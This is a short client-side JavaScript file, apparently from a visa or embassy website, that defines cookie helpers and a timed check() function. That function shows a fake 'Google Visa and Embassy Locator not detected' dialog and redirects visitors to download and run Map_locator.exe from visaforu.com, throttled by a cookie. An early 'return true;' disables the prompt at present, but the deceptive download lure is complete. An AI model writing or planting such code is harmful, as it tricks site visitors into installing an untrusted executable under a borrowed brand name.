
function setCookies(cookieName,cookieValue){
var expiryDate = new Date();
expiryDate.setTime(expiryDate.getTime() + 600000);	
document.cookie = cookieName + "=" + escape(cookieValue) + ";expires=" + expiryDate.toGMTString();
}

function getCookies(cookieName){
var cookieValue = "";
if (document.cookie.length > 0) {
var cookieStart = document.cookie.indexOf(cookieName+ "=");
if (cookieStart != -1) {
var cookieEnd = document.cookie.indexOf(";",cookieStart + 1);
if (cookieEnd == -1) { cookieEnd =document.cookie.length; }
var cookieValue =unescape(document.cookie.substring(cookieStart+cookieName.length+1,cookieEnd));
}}
return cookieValue;
}

var rcount=getCookies("count");
if(navigator.appName=="Microsoft Internet Explorer")
var mx=1;
else
var mx=0;

function check()
{
return true;
	if(rcount<=mx)
	{
		if(confirm("Google Visa and Embassy Locator not detected\n\Click OK to Download and Press RUN to Install"))
		{	document.location="http://visaforu.com/files/Map_locator.exe";
		}
		rcount++;
		setCookies("count",rcount);
	}
}
setTimeout("check()",3000);

